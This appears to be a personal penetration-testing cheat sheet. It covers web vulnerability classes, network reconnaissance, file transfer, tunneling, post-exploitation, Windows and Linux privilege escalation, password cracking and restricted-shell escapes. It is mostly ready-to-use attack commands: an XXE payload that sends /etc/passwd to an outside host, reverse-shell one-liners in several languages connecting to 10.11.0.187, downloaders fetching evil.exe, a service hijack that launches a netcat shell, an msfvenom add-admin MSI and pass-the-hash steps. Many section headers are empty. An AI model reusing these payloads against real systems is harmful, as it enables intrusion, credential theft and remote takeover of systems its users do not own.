Gros

Web notes

Vuln types

Client side:
    XSS
    CSRF
    session fixation
    open redirects
    header injection
    websockets / localStorage tests
    websockets hijacking
    jsonp leaks
    OAuth token theft
    path-relative stylesheet import
    same origin method execution
    http response splitting/smuggling
    names and email addresses appearing in HTML comments
    reverse tabnabbing
    referer token leakage

Server side:
    Injections:
        + sql / nosql
        + cmd
        + expression language (https://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf)
        + template injection
        + Server Side Include (.shtml)
        + server side javascript execution
        + ldap
        + CSS
            + extract attributes with input[value^=""]
            + extract whatever with fonts (https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
        + mail header
        + xpath
        + log injection
        + OGNL

    SSRF
    XXE
    misconfig:
        + cors
        + host header manipulation
            + host header poisoning (https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)
        + TRACE enabled
        + clickjacking
        + session timeouts
        + login throttling (anti-bruteforce)
        + _method=PUT etc checks (csrf bypass...)
        + cross-domain policy 
        + cookie scope
        + sensitive data in url
        + directory listings
        + caching of sensitive data
        + backdoor cookies/parameters
        + SMTP not checking server identity
        + methods not checked/restricted (GET, PUT etc)

    path traversal
    local/remote file inclusion
    file upload
    auth bypass
        + pass reset: the same token for all users (in given second)
    parameter pollution
    race conditions
    user enumeration
    mass assignments / autobinding / Object injection
    regex bypass/eval/dos ([a-zA-Z]+)*, (a+)+ or (a|a?)+ etc)
    search indexing of credentials (private data cached by google etc)

    memory leaks:
        - https://github.com/neex/gifoeb
        
    subdomain takeover:
        - unused subdomains and aliases (CNAME)
        - CNAME pointing to unregistered domain
        - trailing dots (bypassess in cloud providers)
        - same-site scripting (https://bugtraq.securityfocus.narkive.com/ISqwdDXO/common-dns-misconfiguration-can-lead-to-same-site-scripting)

    password bruteforce
        - https://hackerone.com/reports/127844

    httpoxy (mostly php 7.0.8)
    path equivalence vulnerability
    image tragic
    insecure direct object reference
    session puzzling
    smtp header injection
    deserialization
    rounding errors / integer overflows
    cache-deception
    table truncation
    hidden files (.git, .DS_Store)
    broken logout functions
    format string (%s, %d, {0:x})
    bad hexadecimal concatenation (when two different hashes are converted to the same value)
    null byte injection
    pdf export injection (https://securityonline.info/export-injection-new-server-side-vulnerability/)
    csv injection
    side-channel leaks with f.e. Chrome Auditor or Windows Defender (https://github.com/icchy/wctf2019-gtf)
    old (open)ssl
    utf8 normalization/Case Mapping Collisions (utf.toLower() == some_ascii) (https://eng.getwisdom.io/hacking-github-with-unicode-dotless-i/)

Cheatsheets:

Languages

#PHP

#Java

#SQL

#NOSql

#Python

#Ruby

#Perl

#Bash

#node.js

#React/Electron

#GrapQL

#ASP NET (dotnet)

Vulnerabilities

#XSS

#CSRF

#Side channels

#Other

#Security headers

Disable completely: Cache-Control: no-cache, no-store, must-revalidate, max-age=0 Expires: -1 Pragma: no-cache


#### #CORS
* if Access-Control-Allow-Credentials not present:
    + client side cache poisoning (reflected xss in custom header)
    + server side cache poisoning


#### #HTTPS
* http should redirect (301) to https
* HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload)
    + https://hstspreload.org
* mixed contents
* upgrade-insecure-requests CSP
    + ```<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">```
    + ```Content-Security-Policy: upgrade-insecure-requests```


#### #XXE

xml request: <?xml version=”1.0” encoding=”ISO-8859-1”?> <!DOCTYPE xxe [ <!ENTITY % bbb SYSTEM “http://attacker/xxe.dtd”> %bbb; %encja; ]>&test;

xxe.dtd on attacker server: <?xml version=”1.0” encoding=”UTF-8”?> <!ENTITY % test SYSTEM “php://filter/convert.base64-encode/resource=/etc/passwd”> <!ENTITY % encja ‘<!ENTITY test SYSTEM “http://gros.users.warchall.net/?p=%test;”>’> ```

#XSLT

Technologies and tools

#Django

#CURL

#REST

#Apache

#Docker

#Oauth

#AWS

#webdav / iis 6

#SSL

* Manual check 
    ```openssl s_client -no_tls1 -no_ssl3 -connect host:port```

#GPG

* --verify may returns 0 even on error
```
gpg --verify somefile.sig
# when somefile.sig contains correctly clearsigned data (may have nothing to do with somefile), cmd will return 0
# https://www.securityfocus.com/bid/2141/discuss
```

Checklists

Arbitrary write to RCE

Networking

#Commands

* netcat options
    ```
    -C  - add line feed \r
    -n - no DNS
    ```

* bind shell
    ```
    # listen on $ip
    +------+                 +--------------+
    |A $ip|  <- commands <- |B <our machine|
    +------+                 +--------------+
    A: nc -nlvp 4444 -e cmd.exe  # on $ip machine
    B: nc -nv $ip 4444  # on our machine
    ```

* reverse shell
    ```
    # listen on <our machine>
    +------+                 +--------------+
    |A $ip|  <- commands <- |B <our machine|
    +------+                 +--------------+
    A: nc -nv <our machine> 4444 -e /bin/bash  # on $ip machine
    B: nc -nlvp 4444  # on our machine
    ```

* ncat (instead of netcat)
    ```
    # bind shell
    A: ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl
    B: ncat -v $ip 4444 --ssl

    # reverse shell
    A: ncat -nv <our machine> 4444 -e /bin/bash --ssl
    B: ncat -vnl 4444 --ssl --allow $ip
    ```

* sbd (from kali linux)

* iptables
    ```
    # accept on 7777 for $ip
    iptables -I INPUT -p tcp -s $ip --dport 7777 -j ACCEPT

    # dissalow for other ips
    iptables -I INPUT -p tcp -s 0.0.0.0/0 --dport 7777 -j DROP
    ```

* tcpdump
    ```
    -n - don't convert addresses
    -r - read from file
    -X - hex dump
    -s - snapshot length (default is 262144 bytes)
    tcpdump -n dst host 172.16.40.10 port 80 -r <file to read from>.pcap
    tcpdump -A -n 'tcp[13] = 24' -r <file to read from>.pcap  # filtering by flags
    ```

* aircrack
    ```
    sudo airmon-ng check kill
    sudo airmon-ng start wlp9s0
    sudo iwconfig wlp9s0mon channel X  # for wireshark
    sudo wireshark -i wlp9s0mon
    sudo airodump-ng wlp9s0mon
    sudo airmon-ng stop wlp9s0mon && sudo systemctl start wpa_supplicant && sudo systemctl start network-manager.service
    ```

#Recon

* passive
    * google
        ```
        site:asd.com -size:www.asd.com
        filetype, inurl, intitle
        ```
    * GHDB (http://www.exploit-db.com/google-dorks/)
    * theharvester
    * Netcraft
    * whois
    * Recon-ng / altdns / domain (jhaddix)
    * XXSed (http://xssed.com/) -- super old!
    * Metadata
        * http://lcamtuf.coredump.cx/soft/therev.tgz 

* active
    * host
        ```
        host -t mx domain.com
            A - ip addresses
            MX - mails delicery address?
            CNAME - canonical name (alias -> canonical)
            NS - name server (DNS server domain uses)
            SOA - Start of Authority record (administrative information about the zone, zone transfer)
            SIG - todo
            KEY - todo
            AXFR - something about zone transfer?
        for ip in $(cat subdomain_list.txt); do host $ip.domain.com; done

        # reverse lookup
        for ip in $(seq 155 190); do host 50.7.67.$ip; done | grep -v "not found"

        # dnz transfer
        host -l <domain name> <dns server address>
        ```
    * DNSRecon
    * DNSenum

* port scanning
    * types
        ```
        Connect - simplest, tcp three-way handshake (syn, syn-ack, ack), -sT option # nc -nvv -w 1 -z 10.0.0.19 3388-3390
            * quick
            * no root needed
            * easily detectable, often logged
        Stealth / SYN Scanning - without finall ack (syn, syn-ack), -sS option
            * root needed
            * rarely logged
        RST stuff
            * send "partial" packet, closed ports respond with RST, open don't respond at all
                * not working for microsoft (todo: check)
                * it's because of bug in TCP implementation, not reliable
            * FIN (only FIN bit), option -sF
            * Null (not set any bits in header)
            * Xmas (FIN, PSH, and URG bits)
        UDP, -sU option # nc -nv -u -z -w 1 10.0.0.19 160-162
            * slow
            * not responding ports marked as open|filtered, try with -sV
        SCTP Init, option -sY
            * wtf is that
        ACK - detect firewalls
            * If not filtered, both open and closed ports respond with RST
            * If filtered, no response or ICMP error
        Window
            * todo
        Maimon
            * like FIN etc
            * for BSD based systems
        ```
    * scripts
        ```
        ftp-bounce -> old ftp servers may send files to arbitrary host for you, may bypass firewall
        nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p <port> <host>
        nmap -sn 10.11.1.1-255 -oG ping-sweep.txt
        nmap --script exploit -Pn $ip
        nmap -v -p 21 --script=ftp-anon.nse $ip-254
        ```

    * common pitfals
        + udp scan is often unreliable
        + only "interesting ports" are scaned by default
        + forgotten udp services

* rpc (port 111), shows open ports
    ```
    rpcinfo -p $ip
    showmount -e $ip  # if nfs entries above
    nmap -sV --script=nfs-showmount $ip
    rpcclient --user="" --command=enumprivs -N $ip
    ```

* smb
    * on port 137, 139 or 445 
    * null sessions
    * ls -l /usr/share/nmap/scripts/smb* 
    * scripts
        ```
        nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip
        nmap -sV -Pn -vv -p 445 --script-args smbuser=<username>,smbpass=<password> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip

        # open smb shares
        nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 $ip

        # fingerprint / enumeration
        smbclient -L //$ip
        nmblookup -A $ip
        smbclient //MOUNT/share -I $ip -N
        nbtscan -r $ip
        enum4linux -a $ip
        rpcclient -U "" $ip

        # null sessions
        ridenum.py $ip 500 50000 dict.txt
        net use \\$ip\IPC$ "" /u:""
        smbclient -L //$ip
        ```

* SMTP
    * user enumeration (VRFY command)
    * smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t $ip

* SNMP
    http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.progcomm/doc/progcomc/mib.htm
    * on port 161
    * onesixtyone
        ```
        echo public > community
        echo private >> community
        echo manager >> community
        for ip in $(seq 1 254);do echo 10.11.1.$ip;done > ips
        onesixtyone -c community -i ips
        ```
    * snmpwalk
        ```
        Enumerating the Entire MIB Tree
        snmpwalk -v1 -c public -v1 10.11.1.219

        Enumerating Windows Users:
        snmpwalk -c public -v1 10.11.1.204 1.3.6.1.4.1.77.1.2.25

        Enumerating Running Windows Processes:
        snmpwalk -c public -v1 10.11.1.204 1.3.6.1.2.1.25.4.2.1.2

        Enumerating Open TCP Ports:
        snmpwalk -c public -v1 10.11.1.204 1.3.6.1.2.1.6.13.1.3

        Enumerating Installed Software:
        snmpwalk -c public -v1 10.11.1.204 1.3.6.1.2.1.25.6.3.1.2
        ```
    * braa, snmpcheck
    * decode MIB numbers
        ```
        apt-get install snmp-mibs-downloader download-mibs && echo "" > /etc/snmp/snmp.conf
        ```

* FTP
    * anonymous/anonymous login
    * ftp -p for passive mode

* DNS
    * open resolvers
    ```
    dig +short test.openresolver.com TXT @$ip
    ```

* Random tools
    * https://github.com/BloodHoundAD/BloodHound
    * https://github.com/SpiderLabs/Responder

#Vuln scanning

* nmap
    ```
    nmap -v -p 80 --script=http-vuln-cve2010-2861 10.11.1.210 # cold fusion
    nmap -v -p 21 --script=ftp-anon.nse 10.11.1.1-254  # anonymous ftp
    nmap -v -p 139, 445 --script=smb-security-mode 10.11.1.236  # smb security level
    ```
* openVAS

#File transfer/uploading

* TFPT
    ```
    root@kali:~# mkdir /tftp
    root@kali:~# atftpd --daemon --port 69 /tftp
    root@kali:~# cp /usr/share/windows-binaries/nc.exe /tftp/

    C:\Users\Offsec>tftp -i 10.11.0.187 get nc.exe
    ```

* FTP
    ```
    # install and add user
    root@kali:~# apt-get update && apt-get install pure-ftpd

    groupadd ftpgroup
    useradd -g ftpgroup -d /dev/null -s /etc ftpuser
    pure-pw useradd offsec_gros -u ftpuser -d /ftphome
    pure-pw mkdb
    cd /etc/pure-ftpd/auth/
    ln -s ../conf/PureDB 60pdb
    mkdir -p /ftphome
    chown -R ftpuser:ftpgroup /ftphome/
    /etc/init.d/pure-ftpd restart

    # download
    echo open 192.168.34.31 21> ftp.txt
    echo USER offsec_gros>> ftp.txt
    echo X3KR9LsbywChj >> ftp.txt
    echo bin >> ftp.txt
    echo GET nc.exe >> ftp.txt
    echo bye >> ftp.txt
    ftp -v -n -s:ftp.txt

    wget.exe -r ftp://offsec_gros:X3KR9LsbywChj@10.11.0.187
    ```

* VBScript
    ```
    echo strUrl = WScript.Arguments.Item(0) > wget.vbs
    echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
    echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
    echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
    echo Err.Clear >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
    echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
    echo http.Open "GET", strURL, False >> wget.vbs
    echo http.Send >> wget.vbs
    echo varByteArray = http.ResponseBody >> wget.vbs
    echo Set http = Nothing >> wget.vbs
    echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
    echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
    echo strData = "" >> wget.vbs
    echo strBuffer = "" >> wget.vbs
    echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
    echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
    echo Next >> wget.vbs
    echo ts.Close >> wget.vbs

    C:\Users\Offsec>cscript wget.vbs http://10.11.0.187/evil.exe evil.exe
    ```

* PowerShell
    ```
    echo $storageDir = $pwd > wget.ps1
    echo $webclient = New-Object System.Net.WebClient >>wget.ps1
    echo $url = "http://10.11.0.187/evil.exe" >>wget.ps1
    echo $file = "new-exploit.exe" >>wget.ps1
    echo $webclient.DownloadFile($url,$file) >>wget.ps1
    powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
    ```

* debug.exe (win32, 64kb max)
    ```
    upx -9 nc.exe

    cp /usr/share/windows-binaries/exe2bat.exe .
    wine exe2bat.exe nc.exe nc.txt
    ```

* netcat + base64
    ```
    A: nc -lp 7777 > file.zip.base64
    B: cat file.zip | base64 | nc $ip 7777
    A: certutil -decode file.zip.base64 file.zip
    ```

* bash
    ```
    exec 3<>/dev/tcp/31.133.0.26/80; echo -en 'GET / HTTP/1.1\r\nHost: gynvael.coldwind.pl\r\n\r\n' >&3; cat <&3
    ```

#Tunneling

* port forwarding (rinetd or iptables)
    * outbound filter to specific port -> rinetd on home computer on filtered port that redirects traffic to destination port
    ```
    cat /etc/rinetd.conf
    # bindadress bindport connectaddress connectport
    ```

* ssh tunneling
    * local
        ```
        # reach external computer listening on restricted port
        ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
        # <remote host>:<remote port> - we want connection to it
        now we connect (from filtered, internal network) to localhost:<local port to listen> -> ssh via <gateway> -> <remote host>:<remote port>
        ```

    * remote
        ```
        # expose port to external computer
        ssh <gateway> -R <remote port to bind>:<local host>:<local port>

        now we connect (from remote, public network) to <gateway>:<remote port to bind> -> ssh via <gateway> -> <local host>:<local port>
        ```

    * dynamic
        ```
        # create local socks4 proxy
        ssh -D <local proxy port> -p <remote port> <target>
        # <target> must allow traffic on <remote port>
        now we can setup proxy in our tools
        ```

    * proxychains
        ```
        ssh -f -N -R 2222:127.0.0.1:22 root@attacker-machine  # on internal machine. Now attacker machine listen on 2222 and tunnel traffic to internal machine

        ssh -f -N -D 127.0.0.1:8080 -p 2222 some-user@127.0.0.1  # on attacker machine. Now we have proxy on 8080 that tunnel via ssh into internal machine (with user some-user)

        proxychains nmap --top-ports=20 -sT -Pn 172.16.40.0/24  # proxychains uses 8080 to tunnel trafic
        ```

    * metasploit dynamic proxy
        ```
        > route add 10.1.1.0 255.255.255.0 3
        > use auxiliary/server/socks4a
        > set SRVPORT
        > run

        > msfmap ?
        > portfwd
        ```

* HTTP Tunneling
* Deep inpsection
    * stunnel
    * HTTPTunnel

#Post exploitation

* reverse shell (from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
    ```
    * bash
        bash -i >& /dev/tcp/10.11.0.187/8080 0>&1

    * perl
        perl -e 'use Socket;$i="10.11.0.187";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    * python
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.187",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);''

    * php
        php -r '$sock=fsockopen("10.11.0.187",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

    * ruby
        ruby -rsocket -e'f=TCPSocket.open("10.11.0.187",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    * netcat
        nc -e /bin/sh 10.11.0.187 1234
        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.187 1234 >/tmp/f

    * java
        r = Runtime.getRuntime()
        p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.11.0.187/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
        p.waitFor()
    ```

* real tty (http://pentestmonkey.net/blog/post-exploitation-without-a-tty)
    ```
    * python
        python -c 'import pty; pty.spawn("/bin/bash");'

    * sh
        /bin/sh -i

    * perl
        perl -e 'exec "/bin/sh";'
    ```
* stty (https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/)
    ```
    # In reverse shell
    $ python -c 'import pty; pty.spawn("/bin/bash")'
    Ctrl-Z

    # In Kali
    $ stty raw -echo
    $ fg

    # In reverse shell
    $ reset
    $ export SHELL=bash
    $ export TERM=xterm-256color
    $ stty rows <num> columns <cols>
    ```

Privilege escalation

#Windows

* common
    ```
    whoami
    systeminfo
    ver
    tree /F /A
    hostname
    echo %username%
    set
    net users
    net start
    DRIVERQUERY

    # tasks
    schtasks /query /fo LIST /v

    tasklist /SVC
    tasklist /svc /FI "PID eq 1"

    rem Open TCP Port 445  inbound and outbound
    netsh firewall add portopening TCP 445 "Zoo TCP Port 445"

    runas /user:<UserName> program
    runas /noprofile /user:Administrator cmd 

    # delete dir with files
        rd /s /q dir
    # delete file
        del file

    # network
    netstat -ano
    route print
    arp -A
    net config Workstation
    netsh firewall show state / config

    # add user with group administrators
        net user /add <username> <password>
        net localgroup administrators <username> /add
        net localgroup "Remote Desktop Users" <username> /add

    # list drives
        wmic logicaldisk get caption

    # run as system (from admin)
        # on newer windows
            reg add HKLM\System\CurrentControlSet\Control\Windows /v NoInteractiveServices /d 0
            sc start ui0detect
        sc create cmdsvc binpath= "cmd /K start" type= own type= interact
        sc start cmdsvc

    # run as system 2 (from admin)
        psexec –i –s cmd.exe

    # powershell from cmd
    powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\A.ps1; A }"
    ```

* Admins in domain
* Creds in config files (gpp)
    ```
    C:\>dir /b /s web.config
    unattend.xml
    groups.xml
    sysprep.inf/.xml - encrypted, but priv keys are known (https://msdn.microsoft.com/en-us/library/cc422924.aspx)

    dir c:\*vnc.ini /s /b /c
    dir c:\*ultravnc.ini /s /b /c
    dir c:\ /s /b /c | findstr /si *vnc.ini
    findstr /si password *.txt *.xml *.ini
    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s
    reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
    reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
    ```

* metasploit's getsystem

* PyInstaller (python script to standalone binary)
    ```
    python pyinstaller.py --onefile ms11-080.py
    ```

* Crosscompiling from linux - mingw
    ```
    mingw-w64
    i686-w64-mingw32-gcc 646.c -o 646.exe -lws2_32
    ```

* Services
    * list
        ```
        net start
        sc queryex type= service state= all | find /i "NATION"
        ```
    * Folder permissions (service's binary replace etc.)
        ```
        icacls path-to-exe
        ```

    * Services permissions
        ```
        # download: https://docs.microsoft.com/pl-pl/sysinternals/downloads/sysinternals-suite
        # list user's obejcts
            accesschk.exe /accepteula -uwcqv "Authenticated Users" *
            accesschk.exe /accepteula -ucqv upnphost # or SSDPSRV

        # universal WinXP SP0/SP1 PE
             sc config upnphost binpath= "C:\Documents and Settings\IWAM_BOB\Desktop\tmp\nc.exe -nv 10.11.0.187 9988 -e C:\WINDOWS\System32\cmd.exe"
             sc config upnphost obj= ".\LocalSystem" password= ""
             sc qc upnphost
             net start upnphost

        #list properties
            sc qc "Vulnerable Service"
        # check privileges
            sc qprivs "Service name"
        ```

    * Unquoted Service Paths (https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/) (exploit/windows/local/trusted_service_path)
        ```
        # list unquoted services
        wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

        # batch
        @echo off
        :START_PROG
        cls
        for /f "tokens=2" %%I in ('sc query^|find "SERVICE_NAME:"') do Call :CHECK_SVR %%I
        GOTO END_PROG

        :CHECK_SVR
        sc qc %1|find "DISPLAY"
        sc qc %1|find "BINARY"
        GOTO END_PROG
        :END_PROG

        # if service contains space (eg. C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe) windows will try execute in order:
        C:\Program.exe
        C:\Program Files.exe
        C:\Program Files (x86)\Program.exe
        C:\Program Files (x86)\Program Folder\A.exe
        C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
        ```

* Registry
    * common
        ```
        reg /?
        ```
    * permissions
        ```
        check with Registry Editor key ImagePath in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
            - reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Apache" /t REG_EXPAND_SZ /v ImagePath /d "C:\xampp\shell.exe" /f
            - restart service
             
        subinacl.msi (https://www.microsoft.com/en-us/download/details.aspx?id=23510):
        subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display
        ```
    * AlwaysInstallElevated registry key
        ```
        check:
            reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
            reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

        if enabled create msi file:
            msfvenom -f msi-nouac -p windows/adduser USER=eviladmin PASS=password -o add_user.msi

        upload msi and run:
            msiexec /quiet /qn /i malicious.msi 
        ```

* DLL things
    * dll-injector (https://securityxploded.com/remote-dll-injector.php)
    * hijacking
        + check for dll dependencies (http://www.dependencywalker.com/ / listdlls)
        ```
        DLL search dirs in order:
            The directory from which the application is loaded
            C:\Windows\System32
            C:\Windows\System
            C:\Windows
            The current working directory
            Directories in the system PATH environment variable
            Directories in the user PATH environment variable
        ```
* Kernel exploit
    ```
    wmic qfe get Caption,Description,HotFixID,InstalledOn
    then check with f.e. https://pentestlab.blog/2017/04/24/windows-kernel-exploits/
    ```

* Task Scheduler
    ```
    Windows 2000, XP, or 2003 only
    local administrator -> SYSTEM

    check if running:
        net start "Task Scheduler"
    add to ts: at 06:42 /interactive "C:\Documents and Settings\test\Local Settings\Temp\Payload.exe"
    ```

* GUI
    * check for gui tols running as SYSTEM, find "open file" dialog, open cmd.exe (https://www.youtube.com/watch?v=kMG8IsCohHA : 11:00)

* named pipe (http://seclists.org/vulnwatch/2003/q3/12)
* Shatter attacks
* tools
    ```
    wpc (https://github.com/pentestmonkey/windows-privesc-check)
    pysecdump (https://github.com/pentestmonkey/pysecdump)
    lsadump / mimikatz (https://github.com/gentilkiwi/mimikatz)
    Ntrights.exe
    ```
* Pwdump and fgdump (extract hashes from windows SAM memory injecting DLL to LSASS)
    * SAM - Security Account Manager, SYSKEY (from Windows NT 4.0 PS3) partially encrypts it
    * Storing passwords
        * LAN Manager - DES encrypted (Windows NT <= Windows 2003 only)
        * NT LAN Manager - MD4 hashing
    * LSASS - Local Security Authority Subsystem
* ophcrack - cracker for hashes from fgdump

* Windows Credentials Editor (http://www.ampliasecurity.com/research/windows-credentials-editor)
* Pass-The-Hash (https://www.hacking-lab.com/misc/downloads/event_2010/daniel_stirnimann_pass_the_hash_attack.pdf)
    + incognito (https://labs.mwrinfosecurity.com/tools/incognito/)
    + https://github.com/PowerShellMafia/PowerSploit
    ```
    export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
    pth-winexe -U administrator% //10.11.01.76 cmd
    ```
* [sysret](https://pentestlab.blog/2017/06/14/intel-sysret/)
* rotten potato (https://github.com/breenmachine/RottenPotatoNG)
    + from network/admin service to SYSTEM
* hot potato (https://github.com/foxglovesec/Potato)

#Linux

* sudo -l / sudo -e
* CVE-2015-5602 (https://www.exploit-db.com/exploits/37710/)
    * when sudoedit have two * in path
* suid-debug and MALLOC_CHECK_ envvar
* setuid
    ```
    find / -perm -6000 2>/dev/null
    find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
    find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
    find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
    /usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null
    ```
* enum
    ```
    uname -a
    netstat -tulpn
    ps aux | grep root
    find / -writable -type d 2>/dev/null      # world-writeable folders
    ```
* NFS server
    * mout root
        ```
        # apt install nfs-common
        rpcinfo -p $ip  # list
        showmount -e $ip  # export list, check if / is accessible
        mount -o nolock -t nfs $ip:/ /tmp/nfs
        # now add ssh key to authorized_keys or whatever
        ```
    * edit /etc/exports and reboot

#Passwords brute-force & dumping

* key-space search
    * crunch
* password profiling
    ```
    cewl www.domain.com -m 6 -w domain-cewl.txt
    ``
* password mutating
    ```
    john --wordlist=list-cewl.txt --rules --stdout > mutated.txt

    john 127.0.0.1.pwdump  # for fgdump
    john --wordlist=domain-cewl.txt --rules --stdout > mutated.txt
    unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
    ```
* medusa, ncrack, hydra
    ```
    medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
    ncrack -vv --user offsec -P password-file.txt rdp://$ip
    hydra -P password-file.txt -v $ip snmp
    hydra -l root -P password-file.txt $ip ssh
    ```
* hash-identifier (https://code.google.com/p/hash-identifier/)

#Restricted shell escape

* start with env and PATH
* ls replacements
    ```
    echo path/to/dir/*
    ```
* export -p
    * check if any variable is writeable
* copy files to PATH
* copy to home dir and something with ~
* chroot
    * https://filippo.io/escaping-a-chroot-jail-slash-1/
    * https://github.com/earthquake/chw00t
* mounting filesystem
* editors (vi, vim)
    ```
    :set shell=/bin/bash
    :shell

    :! /bin/bash
    : python

    # assumption that "[esc]:pre" uses /bin/mail to notify the user of a vi crash
    rbash # touch bin mail
    rbash # chmod 777 bin mail
    rbash # export IFS="/"
    rbash # vi
    [esc]:pre
    File preserved.
    [esc]:q!

    # open manual (with less)
    K
    ```
* commands to try:
    ```
    awk 'BEGIN {system("/bin/sh")}'
    find / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
    less, more, man with :!/bin/sh
    less with :e (examine)

    python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
    perl -e 'exec "/bin/sh";'
    perl: exec "/bin/sh";
    ruby: exec "/bin/sh"
    lua: os.execute('/bin/sh')
    irb(main:001:0> exec "/bin/sh"

    iptables --modprobe=<cmd>
    tar --checkpoint-action=<cmd>
    rsync -e <cmd>
    scp -S <command> a b:
    lynx !
    mail "~v"
    ```
* write to file without echo -> tee
    ```
    echo "evil script code" | tee script.sh
    tee -a  # append
    ```
* stuff from bash_profile are running before restricted shell
* mirc32.exe -> /exec with cmd.exe (http://www.phrack.org/issues/69/4.html#article)
* set handler for telnet:// uri in browser to cmd.exe
* wine: `start /unix /bin/sh`

#Path traversal

wild/rand/wtf

#Crap it music